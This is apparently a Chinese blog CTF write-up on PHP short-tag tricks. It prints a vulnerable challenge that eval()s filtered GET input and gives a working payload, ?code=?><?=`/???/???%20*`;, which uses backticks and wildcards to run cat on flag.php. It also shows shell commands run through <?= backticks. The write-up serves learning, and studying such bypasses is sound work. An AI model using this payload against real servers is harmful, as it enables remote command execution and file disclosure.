php的短标签绕过
一、 <?= ... ?>
注意:从 PHP 5.4.0 版本开始,这个标签始终可用,不受任何配置影响
这是 <?php echo ...; ?> 的快捷写法,专门用来输出变量或表达式的结果。
例如, <?= $username ?> 等同于 <?php echo $username; ?> 。
二、<? ... ?>
用法和 <?php ... ?> 一样,但更简短。
重要警告:这个标签默认是关闭的,需要在服务器的 php.ini 配置文件中开启 short_open_tag 才能生效。如果服务器没开启,你的代码会直接作为纯文本显示在网页上,导致程序出错
注:我在kali上面创建了test.php
<?=`ifconfig`;
<?=`cat ~/Desktop/web/302.php`;
均可以输出,注意要在末尾加上分号;
相当于<?php echo('shell_exec('ifconfig')');?>,注意要在末尾加上分号;
题目源码:
<?php
error_reporting(0);
//flag.php
if( isset( $_GET['code'] ) )
{
$code = $_GET['code'];
if( strlen( $code ) > 18 )
{
die("You really long, but i dont like more than 18cm");
}
if ( preg_match( "/\w/", $code ) )
{
die("i dislike it");
}
if ( preg_match( "/&|\||\^|\-|\!/", $code ) )
{
die("stop calculating");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\{|\}|\[|\]/", $code ) )
{
die("fxcking brackets");
}
if ( preg_match( "/\$|@|\./", $code ) )
{
die("$1 dou bu gei wo");
}
eval( $code ); }//I believe that those noob hackers cannot hack me
else {
show_source(__FILE__);
}
(1)长度限制:要小于18
(2)过滤了字母,数字,下划线,&,|,^ ,- ,!,{ },[ ] ,. ,$ ,@等等
分析:过滤了括号,取反和异或用不了
payload:
?code=?><?=`/???/???%20*`;
其中的<?=相当于<?php echo,而反引号``会把其中的字符当作命令来执行,相当于shell_exec,而?则可以匹配任意单个字符,*匹配例如flag.php这样的文件
他这个题目解释说是/???/???匹配到/bin/cat,*匹配到flag.php,就相当于执行了cat flag.php,但实际我用which cat查看cat的路径为/usr/bin/cat,也不知道为什么
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627211

浙公网安备 33010602011771号